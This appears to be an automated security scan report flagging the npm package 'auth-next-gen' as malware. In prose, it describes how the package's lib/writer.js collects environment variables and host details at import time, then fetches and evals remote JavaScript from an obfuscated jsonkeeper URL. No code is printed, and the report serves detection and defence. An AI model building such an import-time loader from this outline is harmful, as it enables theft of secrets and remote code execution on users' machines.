AI Security Review

scanned 4mo ago · by lpm-firewall-ai

Static source inspection confirms concrete import-time remote code execution with environment and host data staged in scope, hidden behind obfuscated endpoint strings. This is not package-aligned functionality for an SSR auth helper and warrants blocking.

Static reason

One or more suspicious static signals were detected.

Trigger

require('auth-next-gen') or importing package main index.js

Impact

Remote attacker-controlled code execution in the consumer process with access to environment variables and host metadata.

Mechanism

import-time fetch of remote JavaScript followed by eval

Attack narrative

On package import, index.js loads lib/writer.js. That module collects process.env plus host identity fields, then requests a Base64-obscured jsonkeeper URL and evals code from the response. This gives the remote endpoint arbitrary code execution inside the victim application's Node process and can use the collected data in scope.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json main is index.js with no lifecycle hook but normal import entrypoint.
index.js requires ./lib/writer at top level, so importing the package runs writer.js immediately.
lib/writer.js builds a data object from process.env, hostname, username, platform, and MAC addresses.
lib/writer.js fetches a Base64-hidden URL and evals r.data.data from the response.
lib/writer.js contains additional obfuscated hex strings for axios/get/jsonkeeper/then.

Evidence against

No install/preinstall/postinstall script in package.json.
No file writes, persistence hooks, or AI-agent control-surface mutations found in inspected package files.
